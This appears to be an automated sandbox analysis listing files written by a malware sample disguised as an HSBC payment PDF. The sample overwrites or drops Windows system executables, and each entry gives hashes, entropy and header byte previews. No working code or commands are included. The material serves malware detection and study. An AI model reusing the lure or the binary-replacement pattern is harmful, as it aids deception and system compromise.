Preview:	.&B..Z.W.....9..H.1..9II.L#:.......9.....F@..eg.9...7...8....NH.Y.."9.q..Q.%.s...{)M..6S....%.=..k.ihc..L8d...$.....2...w....Q...M.-......>. ...T..u.X.f.....\.....D..R.....lUck.8RD..L.dF..$..\|^..~}.?Y..;..GV.j...r\|2,...+.v%.,_R.%."lc.._._.7~.A"..K.G1.+.........4..r.H...sD.Z..<.f....4Wkn{...(R3Z9R.s.~..Q..rk...5.-u.V......)^......1;..K.X$...V/\^..tM..........a=..%...@.....gX.y..V9.lCb ...h).R.V%.6.T.i0..O.>......\|w..<<...V..I.6N.:.e......@.bK]`.sznS.G.\$....5...Vx.`...^2.n.b.]^.q9....`.F6(....D.m....w0...Ps..G\P<.F.V...{......Y..`..y["....V}I^+[...%V.l.9}......~....@.lu]w._..Y..j........D.u.d..p.D......AM.....7.o.29S..C..kvc.K..Y....r....l...p.....d.@..$.k....>D.F../..>..I.M...nQe..MN.....HeR.....j.fW0..,.Z.....x''./..f..f\>.O.b1._.....(..S.Z...k4.1i.3....X.K..;.8.w5..b=.zHr..M/6.%Vk=...>..+f........B.&.......,ZL".urK..#E.A_...TQ.....U...M..s...<]._.\K...m...J,...z....{.r..rF...f.t.Y...u..''0...(.X.CR\x..M.Vn".....N.(yg...A....D.u....

C:\Windows\SysWOW64\perfhost.exe

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1306624
Entropy (8bit):	4.538205713913881
Encrypted:	false
SSDEEP:	12288:VfiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:Vr/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	A01D0D18438CEA05470B157B11E94B3F
SHA1:	94707EAE8DC2E133D29E04F704F4FC68295A940B
SHA-256:	4E12D36ADEAEE5B8AAC138B2CE38CE3466D81160F25C35C83DD90F5948D0B929
SHA-512:	9EEF64F7D2B28B50CFC6F74C0274F660DC0F309F478522EC0AE9D97E065727D9E7B4C6320CB3B6E4B8EA35511E402E92E8B4D32EF973B37405E43EA5BB2FC54E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........+-.~E~.~E~.~E~...~.~E~..F..~E~..A..~E~.~D~.~E~..D..~E~..@..~E~..L..~E~...~.~E~..G..~E~Rich.~E~................PE..L...CY]..................&...,...............@....@..................................a........... ..........................lQ..@....`..................................T............................................P..h............................text....%.......&.................. ..`.data........@.......*..............@....idata.......P.......,..............@..@.rsrc........`.......8..............@..@.reloc...`...........P..............@...........................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\AgentService.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1801216
Entropy (8bit):	6.967182536486352
Encrypted:	false
SSDEEP:	49152:iwVFr68Vw9wn/6h8p1zidVLNiXicJFFRGNzj3:iwVFrssCndV7wRGpj3
MD5:	8311FBEB6995BA81570173720F2B188B
SHA1:	A3EA926C558B12D0183D383132913441006E2C8C
SHA-256:	C67F893C73881CBFE5881EF7B7049C73414FCB7380846C2F9D548336E4094C2F
SHA-512:	02050F1F705F5357C3800B9106A0DA2967BCCD3A37CDF6358B83411F5CDF1A199963DBE5C7A7F859E4BA29909594538C70FFC00B0D4235222C9D5D03E83B442D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5...qq.Bqq.Bqq.Be..Crq.Be..Ciq.Be..C2q.Be..Cfq.Bqq.BIp.Be..C2q.Be.)Bpq.Be..Cpq.BRichqq.B........PE..d.................".................0..........@.......................................... .......... ......................................X........... ....0...}..................0...T...................(...(...................P................................text............................... ..`.rdata..............................@..@.data...........t..................@....pdata...}...0...~..................@..@.rsrc... ...........................@..@.reloc..............................@...................................................................................................................................................................................................................................................................................

C:\Windows\System32\AppVClient.exe

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1348608
Entropy (8bit):	7.2434010074497355
Encrypted:	false
SSDEEP:	24576:OQW4qoNUgslKNX0Ip0MgHCp+MBOuz/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:OQW9BKNX0IPgi8MBOuzLNiXicJFFRGNf
MD5:	FEBB8A1C8444E585D00E9798A241F535
SHA1:	D6167EEEE0A3914A0FA67F6C64470607AABABF2E
SHA-256:	B432B4ADD726A4522C592580B1EB55DFF7F71D86187AA8834B2D8488702A18C4
SHA-512:	851B5F1A848194ECB41BA43D73B9C0E99A8E5E689B4719806980133AE0E7FACDAB80166BF7A6854A5DB1E0893A6B8EB291016A2D0EEE365206C719460DDE3501
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g..=#p.n#p.n#p.n*.kn%p.n7..o(p.n7..o p.n7..o.p.n#p.n.u.n7..o.p.n7..o.p.n7..n"p.n7..n"p.n7..o"p.nRich#p.n........................PE..d....4............"..........$.......K.........@.......................................... .......... .......................................j..h....`...a... ...:..................0a..T....................%..(....$...............%..P............................text...L........................... ..`.rdata..............................@..@.data....z.......n..................@....pdata...:... ...<..................@..@.rsrc....a...`...b...2..............@..@.reloc..............................@...................................................................................................................................................................................................................................................

C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1379840
Entropy (8bit):	4.681742274303295
Encrypted:	false
SSDEEP:	24576:12G7AbHjk0/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:12G7AbHjlLNiXicJFFRGNzj3
MD5:	715FCD651D1C387B372D171CB6780B86
SHA1:	21C0910CF71F71F0E642958647E4797F7E1EB799
SHA-256:	E614B6E719265DEA7B0C365DC712173D8C84B37204AC9F87D45E30512F5DE754
SHA-512:	EAAF015B10D3D005F1ED37B17E557E1659181E90CDE91A23F0E7524EAC796F563F107DBBD927A9EE395B2E5BECB8AFB2B9E8821210489AE22FB2E87FF6BD2857
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B6l0.W.c.W.c.W.c./.cPW.c.<.b.W.c.<.b.W.c.W.c.S.c.<.b.W.c.<.b.W.c.<.b.W.c.<.c.W.c.<.c.W.c.<.b.W.cRich.W.c................PE..d...^.Jw.........."............................@.............................. .......... .......... ......................................p?...................................... #..T...................8...(... ...............`...H............................text............................... ..`.rdata...b.......d..................@..@.data...@....p.......P..............@....pdata...............T..............@..@.rsrc................b..............@..@.reloc...`...........n..............@...........................................................................................................................................................................................................................................................

C:\Windows\System32\FXSSVC.exe

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1242624
Entropy (8bit):	7.28022955368704
Encrypted:	false
SSDEEP:	24576:QkdpSI+K3S/GWei+qNv2wG3s/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:Q6SIGGWei2wG3sLNiXicJFFRGNzj3
MD5:	B19D2C88C8C42BA1F4C83060C439AAFE
SHA1:	87666F99BB9ECDC6DCECA8B0298F1B11F1EC234C
SHA-256:	EBB4821230948E97D93F305A03BD78E1BC2EB540F1F2B509040F4BA73B1CC547
SHA-512:	79890544749BB6EE4CDC8BF6B6D3B552E65310D054B6D53F5468D03E68D2D4BED1F1D9861ECA58D86F8D07E9CC2BA73D43619EBBA7337D79D881A502A22F4ED3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............}x..}x..}x...{..}x...\|..}x...y..}x..}y.x\|x...p..}x...}..}x......}x...z..}x.Rich.}x.................PE..d................."...... .....................@.............................P............ ..................................................{..h....P...........1......................T...........................pk...............l.......{..@....................text...Y........ .................. ..`.rdata..2u...0...v...$..............@..@.data... H.......<..................@....pdata...1.......2..................@..@.didat.......@......................@....rsrc........P......................@..@.reloc.......`......................@...................................................................................................................................................................................................................................

C:\Windows\System32\Locator.exe

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1296896
Entropy (8bit):	4.515592491141312
Encrypted:	false
SSDEEP:	12288:8TiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:8n/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	27C76B862642ACB46AB7DEFBFD73BFA7
SHA1:	EFDBBA87271430C9E85F0C09FF292BC570D78073
SHA-256:	7D32C93BBEB70525D2ACBFDE6B885851982B48120F64DEC45886B856C45D132D
SHA-512:	A12509B4FCA53EDE3A439653FE8033F2E535D11B2FF75F7AD634A2E0D33542BA7C561514C5FFD658E1E0D1A56B57CD657BD2F88693695984FC9F8D261EE69063
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C."^".q^".q^".qWZ;qL".qJI.p_".qJI.p\".qJI.pO".q^".qy".qJI.p[".qJI.p]".qJIWq_".qJI.p_".qRich^".q........................PE..d...k(............".........."...... ..........@.......................................... .......... .......................................&.......P.......@......................0#..T............................ ..............(!..p............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@....... ..............@..@.rsrc........P......."..............@..@.reloc...`...`.......*..............@...........................................................................................................................................................................................................................................................

C:\Windows\System32\MsDtc\Trace\dtctrace.log

Process:	C:\Windows\System32\msdtc.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.3234733658880588
Encrypted:	false
SSDEEP:	12:zfl180kqF69Fq5zzRj6CzE5Z2+fqjFHfl3:rY1WiY+fC/F
MD5:	D061D1B03DA7C5A9384B0851D5C5447E
SHA1:	2A0997D859FBB539DAF8B15628C2B27FF1B220C8
SHA-256:	8D50748EA111252CDF3075CA86BF0CB0835DE20DE85CAA49FF9A3C854B92E3AB
SHA-512:	94085323662EC03F7F4AA385344491FAA9B7F2CAB0F2C6E02E9F32DCDF7E1956C78C7E172579EC6BAA2F15684AD16EB1CF41615ACFDEAA4E37C6D44879941605
Malicious:	false
Preview:	.@..X...X.......................................X...!...........................(........................@......eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1............................................................W..............0..U.K..........M.S.D.T.C._.T.R.A.C.E._.S.E.S.S.I.O.N...C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.M.S.D.t.c.\.t.r.a.c.e.\.d.t.c.t.r.a.c.e...l.o.g.............P.P.(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\OpenSSH\ssh-agent.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1667072
Entropy (8bit):	4.823186761048377
Encrypted:	false
SSDEEP:	24576:oAL3UTP/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:oAL3UTLNiXicJFFRGNzj3
MD5:	2DAADB2D9EE99D7F3C6EB0FA254025A1
SHA1:	56D03E371725C0E9D29979440983A99F2642215E
SHA-256:	6DD3F2E44952168E20172BD30A343F1BEA5B1281EE431090ABDB393179F43BBE
SHA-512:	9A6F1D5AFD35069708A77C337C28107E76149CD97E7F98C2E4B8AE3EBA31453B8F3E8D57C4D52752DB579154FAB6EFD97BAF68399E3FDC6A3B4FCE5B1E3C6477
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D\|.%...%...%...C...%...C...%...C..{%.....%...{...%...{...%...{...%...]...%../L...%...%..6$..&{...%..&{.%...%...%..&{...%..Rich.%..................PE..d.....q^.........."..........:.......i.........@..............................%........... ......................................................... ..x.......T...................P..p...........................`Q..................8............................text............................... ..`.rdata..............................@..@.data....I..........................@....pdata..T*.......,..................@..@.rsrc...x.... ......................@..@.reloc...`...0......................@...........................................................................................................................................................................................................................

C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1391616
Entropy (8bit):	4.703231452438177
Encrypted:	false
SSDEEP:	24576:GOw/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:GOwLNiXicJFFRGNzj3
MD5:	F3D51ACFF199999586D8F7FCE77371CB
SHA1:	9B709822860AEF97057C0180F97883327E4E194A
SHA-256:	2B6F58302BC86D2C37AF77505C9E6C41B6BD87FBD8894755FBC364F1239E3241
SHA-512:	79A2EE116CEC9B52388025B9967E9EB160B666690D1213CD3D883932AFE5E04B64868344C23C113934509B7DBA3B7C95094159669639704AECC198EC95E59A55
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........@A...A...A...H.......U...K...U...B...A.....U...F...U...N...U...e...U.t.@...U.v.@...U...@...RichA...................PE..d...6............".................0..........@............................. ........... .......... ......................................Xq..........x............................S..T...................(..(....)..............P...............................text...@........................... ..`.rdata...n... ...p..................@..@.data...............................@....pdata..............................@..@.rsrc...x...........................@..@.reloc...`..........................@...........................................................................................................................................................................................................................................................

C:\Windows\System32\SearchIndexer.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1513984
Entropy (8bit):	7.094171742001237
Encrypted:	false
SSDEEP:	24576:k3frCoQ9tLsiLPLe24CxruW4bIhllP/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:k3fIsIPLkCNuVbIhDPLNiXicJFFRGNzb
MD5:	72A7E20B40A8835CB1F0E27727892C04
SHA1:	BD84408C913AF9F25445ED22B4F3447E273B1597
SHA-256:	51AF564A3CA7607A1F99E643557A81B76FF5A20284B899535C5C6C037D79FC63
SHA-512:	48AFAE0DC64FF056D0B07FC9347EF275CACA744233E734EF6573CAEE38835E2C59692167D2D73A2C63BC1FF78CA95E01F1A840C8C83AEFD5222092873B2B9992
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........................z............................................l............Rich............PE..d.................".................0..........@....................................~..... .................................................HL..........(...........................P...T...................P...(... ........................<.......................text...9........................... ..`.rdata..............................@..@.data....:...........p..............@....pdata..............................@..@.didat.......p......................@....rsrc...(............ ..............@..@.reloc...............*..............@...................................................................................................................................................................................................................................

C:\Windows\System32\SensorDataService.exe

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	modified
Size (bytes):	1846784
Entropy (8bit):	6.9327025005797225
Encrypted:	false
SSDEEP:	49152:TF2YuHNETovAvNYf8kmbLNiXicJFFRGNzj3:C6BCf8kw7wRGpj3
MD5:	B5B69EF9D3C1E73A01C81AE80208DDC4
SHA1:	9F0642707F10F1FF3504F3DFB8D8B5C9918C79D5
SHA-256:	967C792DD0ECB2D3765C349B751562B00DCB9BF21FA7FCE6E5199727D3F7DFE5
SHA-512:	C5EC8025E4A0F7523B4E391115F10C6A3664F34AAD29D6DD76C5D90CC4B9CDA9E7D35B4393E9E2F0BE3105ADD1ABF44D62F8CEE3EC0A8FE6130AE5CB4387A0F8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......W`............yA.K...j...........j.....j.....j.....j.0...j-.....j....Rich...........................PE..d................."......"...(......@..........@.............................p........... .......... .......................................~..H....`..`........................... t..T...........................0w..............Hx..p............................text....!.......".................. ..`.rdata..P^...@...`...&..............@..@.data...............................@....pdata..............................@..@.rsrc...`....`.......6..............@..@.reloc.......p.......>..............@...........................................................................................................................................................................................................................................................

C:\Windows\System32\Spectrum.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1455616
Entropy (8bit):	7.230975190409546
Encrypted:	false
SSDEEP:	24576:UiW6ZvAKF5i/dN9Bde9j9Trk+Fz/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:UYxF50b9Bdu9Tx9LNiXicJFFRGNzj3
MD5:	72181D2F9FF55560F9C4B3AB19C98A62
SHA1:	37FE863594185CAE54494D71717736C7ABD88EDF
SHA-256:	CA06623D2F3D1241CC585CBF17216C95DDC2F6279821A43E485029AAD8584D3F
SHA-512:	CE2EC21D19773A996756AE6940ABF1F356AC2BD9FDD9B4B0C0BE1360B8B707521583E9E99E041BA4A69C98216ABA7BA8CA0FB3F85D85BE9BF7447CC2E5E6BC17
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......zq..>...>...>...7h..D...{..4...{..=...>...+...{..9...{..V...{......{n.?...{l.?...{..?...Rich>...........PE..d...)ew..........."................. ~.........@.....................................M.... .......... .................................................. .......@k...................l..T...................@...(...p...............h................................text............................... ..`.rdata.............................@..@.data....8.......*..................@....pdata..@k.......l..................@..@.didat..8....p.......>..............@....rsrc... ............@..............@..@.reloc...............F..............@...........................................................................................................................................................................................................................

C:\Windows\System32\TieringEngineService.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1611264
Entropy (8bit):	5.048875121989025
Encrypted:	false
SSDEEP:	24576:3JnJ5D3WXS/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:3JnJ5DGXSLNiXicJFFRGNzj3
MD5:	5E4593411714FE016FDCC665AFE5D552
SHA1:	1D48797B33B47AF80B23BB46E9C5D771944BCAF2
SHA-256:	D1C0AC067719FF2EAF09E13CAAB14F208553408C7E855F56C79982E21E568A6D
SHA-512:	76E60D4E1DF80A11E6CFA67EC5580622898DB334B18E442035B154C13B44B3D748DDDD25963AA30CC4035A78FE28686570651051F5FBA728BB107F3F833BD48F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........w............nP.....}.....}........Z...}.....}.....}.....}<....}.....Rich............................PE..d................."............................@..............................#......=.... .......... ..........................................H...............p....................p..T...................h:..(...P9...............:..@... ...@....................text...\|........................... ..`.rdata.......0......................@..@.data...............................@....pdata..p...........................@..@.didat..............................@....rsrc...............................@..@.reloc...`...0......................@...................................................................................................................................................................................................................

C:\Windows\System32\VSSVC.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2075136
Entropy (8bit):	6.729881524298672
Encrypted:	false
SSDEEP:	49152:fPK8mJYTerDjfJ2313e1mP1MdnURLNiXicJFFRGNzj3:Z7wRGpj3
MD5:	90420B1BFAA6B7760AA760FB6F16CA8E
SHA1:	04E83807F1439C81D20DCF638186D6C907F1CF8F
SHA-256:	B7D4834859C4D6313F99D31474D2A9913740100805179B29E4DEE1A6374F545F
SHA-512:	3CCB4B127ACDFD21054FF652F7196CDE8EF768CB5479D95079D596293CA1C7B82C4E1F8AF2E9C69A6F4B612FAC69E16760D134B4C4EDCAE699C10D51AE19D38D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........@.e.!.6.!.6.!.6.YI6.!.6.J.7.!.6.J.7.!.6.!.6. .6.J.7.!.6.J.7.!.6.J.7.!.6.J%6.!.6.J.7.!.6Rich.!.6........PE..d...b.Xw.........."......v...f.......p.........@.............................. ......: ... .......... ..................................................@O...0..lx...................o..T............................................................................text....t.......v.................. ..`.rdata..`\|.......~...z..............@..@.data...............................@....pdata..lx...0...z..................@..@.didat..P............x..............@....rsrc...@O.......P...z..............@..@.reloc..............................@...................................................................................................................................................................................................................................

C:\Windows\System32\alg.exe

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1381376
Entropy (8bit):	4.682132078917755
Encrypted:	false
SSDEEP:	24576:onN/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:onNLNiXicJFFRGNzj3
MD5:	2AF371D31DE2620D08F24582BCC94F36
SHA1:	954B8925FB5E7BEED04C9F387CD5ADE6DE7988C0
SHA-256:	3672775ED17AB98A2833CB588020B43645A6CBACC55E5B2567756434DDBA014F
SHA-512:	8B40A0AE51EA61CDE604BF9DBAF83E73BB65E2F2509742C5253C83EECE77BF68C20AC6854EFE560C09372DA94BF2531AEF32B7C664780EB70BB06F0418F88020
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,..dB.dB.dB....dB..A.dB..F.dB.dC.,dB..C.dB..G.dB..J.dB....dB..@.dB.Rich.dB.........PE..d...E.~..........."............................@.............................. ........... .......... ......................................`E...............p.. ................... ...T...............................................8...TA.......................text............................... ..`.rdata..rV.......X..................@..@.data........`.......@..............@....pdata.. ....p.......D..............@..@.didat...............R..............@....rsrc............ ...T..............@..@.reloc...`...........t..............@...................................................................................................................................................................................................................................

C:\Windows\System32\msdtc.exe

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1434112
Entropy (8bit):	4.680774906200706
Encrypted:	false
SSDEEP:	24576:aIy2/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:aIBLNiXicJFFRGNzj3
MD5:	AAA284FF086F56BEC322CDE13CE5989C
SHA1:	7764C89A9603F5EE9A920307DD215188F0ACB899
SHA-256:	44A55C3BC5C40FCB3D0819BF81DA43166A7C4C086000C3F66E782C99463F14F5
SHA-512:	55959E1C09F95103C8125D2E70EDBA58415FD5A50D782AFA25DED247D1A2AB2EEEA28C2729D4189DE7306BBACF8DC9265C41BBAB954919A0E1E55E2204D1E3DC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Voq.Voq.Voq.B.r.Uoq.B.u.Coq._..}oq.B.p.^oq.Vop..oq.B.y.Noq.B.t.Roq.B...Woq.B.s.Woq.RichVoq.........................PE..d......D.........."......h..........0i.........@..............................!......&.... ..........@.............................................. ..xx......p...................`...T...........................@...............X...........@....................text....g.......h.................. ..`.rdata..pO.......P...l..............@..@.data....)..........................@....pdata..p...........................@..@.didat.. ...........................@....rsrc...xx... ...z..................@..@.reloc...`...........B..............@...................................................................................................................................................................................................................

C:\Windows\System32\msiexec.exe

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1355264
Entropy (8bit):	4.598859870053783
Encrypted:	false
SSDEEP:	12288:04KCiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:SE/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	C7CAA8E47900764B066134787F8A8BC7
SHA1:	76C98FDBC352019B9D61FC81CDA693BE0E5690F1
SHA-256:	050F1A2985EE832A293FBEBB75A98735DE866660A2D7A4589C4A689D365A4DC8
SHA-512:	040509033554913B0E70A5FECBD20F5AC44B3433B74E9EF57BF901FFCBA96F538FC36C5A8B92BDFE80320EAC8F212046B49FC6F00C28191600095411596B73A2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$................................................8..............................Rich............PE..d................"...........................@....................................zG.... .......... ......................................8........@....... ..........................T.............................................. .......@....................text...!........................... ..`.rdata..:7.......8..................@..@.data....$..........................@....pdata....... ......................@..@.didat.......0......................@....rsrc........@... ..................@..@.reloc...`...`......................@...........................................................................................................................................................................................................................................

C:\Windows\System32\snmptrap.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1302528
Entropy (8bit):	4.527059693137494
Encrypted:	false
SSDEEP:	12288:CyXiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z7:Lj/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	C3DD833FAFF8B6217772A5E66FF25F25
SHA1:	8EA2B0D9311079763A9D7DEF4D4C04B8BD086332
SHA-256:	1C416E9BE5B07C9E146546343A8A8C31AB4B4BB4F167D11CBA3692019E4A8346
SHA-512:	50F0C3F9D47573D971FC74DE263F356E68DD2F7160872726DEA127AE88829A3916760220B33AB332EE1F458FBFD6EB22CAB26BCF31E28FF0758522F9F68FFE39
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........^m.^?..^?..^?..JT.._?..JT..\?..JT..M?..JT..W?..^?...?..JT..\?..JT.._?..JT.._?..Rich^?..................PE..d....Ou..........."...... ...&......`'.........@.......................................... .......... ......................................l8..d....`.......P..,...................p4..T............................0..............(1..X............................text... ........ .................. ..`.rdata.......0.......$..............@..@.data........@.......4..............@....pdata..,....P.......6..............@..@.rsrc........`.......8..............@..@.reloc...`...p.......@..............@...........................................................................................................................................................................................................................................................................

C:\Windows\System32\vds.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1303552
Entropy (8bit):	7.1607520397020705
Encrypted:	false
SSDEEP:	24576:kZ0FxT1UoYr99GdcJKm/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:4wWsmLNiXicJFFRGNzj3
MD5:	D2428B28D20D38757D35F80B6491A864
SHA1:	59D3A274666C0A231F932EB704A710CA97416B01
SHA-256:	AAA39F1530029D220335FACD4E8480F915CC0EF8C88EE2417CE7D91FF2CF2B41
SHA-512:	C76EC5A775A92091D9A6BD989DC0CD4FF88FA948B4C82687DBC85AA0A2105C8E089AD6D2848BE6A8C4340C2CAD83988BBB4ECD0322B9F898189F6CE5B83FCC2B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........0..c..c..c..uc...c...b..c...b..c...b..c...b..c..cR..c...b...c...b..c...c..c...b..cRich..c................PE..d................."..........6......@..........@.............................@......3Y.... .......... ..................................8#......H....@...........,...................s..T...........................` ..............x!.......{.......................text............................... ..`.rdata..............................@..@.data...............................@....pdata...,..........................@..@.didat.......0......................@....rsrc........@......................@..@.reloc.......P......................@...................................................................................................................................................................................................................

C:\Windows\System32\wbem\WmiApSrv.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1495040
Entropy (8bit):	4.819234563906032
Encrypted:	false
SSDEEP:	24576:9yocDApl/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:AocDAplLNiXicJFFRGNzj3
MD5:	B3EFF6E9F06FD02074538D773AF5CAE9
SHA1:	03677B8E19E04DD8942E7DF8010BA3873CA764B9
SHA-256:	8CAB7B9A29BF4793DCCF10BFB72902D6506CCCADFCEEE2816C5EE5FF4EDF5369
SHA-512:	C429B6BE791F3CA1BC0EABE724CD6A80D6471D924C9409DB1D2E5B8E5995C43CB4E5335C45B949CFC3B45F8D612C4D63A99FC54612641F7A1D9E898AF84E8904
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........N]...]...]...T...k...I..^...I..J...]...T...I..Z...I..W...I..h...I..\...I.n.\...I..\...Rich]...........................PE..d...&Gf..........."..........Z......0..........@..............................!........... .......... ..............................0....%......0....`.. ....0.......................B..T...................h...(...P.......................$........................text...?........................... ..`.rdata..............................@..@.data...............................@....pdata.......0... ..................@..@.didat..(....P.......$..............@....rsrc... ....`.......&..............@..@.reloc...`...p.......0..............@...........................................................................................................................................................................................................

C:\Windows\System32\wbengine.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2164736
Entropy (8bit):	7.056787493628267
Encrypted:	false
SSDEEP:	49152:yWcnPqQUGpuphwC0DNLDpaRFXrLuWGMK8IKxLNiXicJFFRGNzj3:k0zuNIP7wRGpj3
MD5:	7FEABE370E82D30A720E4A9459EFC1EB
SHA1:	AE461A8D4DC686A1A2DCB68F284A359803249078
SHA-256:	3FA83425634CC23B954FD5A22F5E289C2180CDA3E66E0EADF29B857B28E19943
SHA-512:	CD8AD9EF8B037D8E88B76BD961C271A7357B78F9618147260DFC8056C9185F443F141BB33DA773C1CBD9AC6794C2A0A36671BB4638F964B4EDCD4BDFC6A41684
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............M...M...M..L...M..L...M..L...M..L...M...My..M..L4..M..L...M..pM...M..L...MRich...M........PE..d....c..........."..........`...... ..........@.............................`!.......!... .......... ...............................z......h...\|....`...........w..................p...T...................x...(...`................................................text............................... ..`.rdata..............................@..@.data....%..........................@....pdata...w.......x..................@..@.rsrc........`......................@..@.reloc.......p.......(..............@...........................................................................................................................................................................................................................................................................

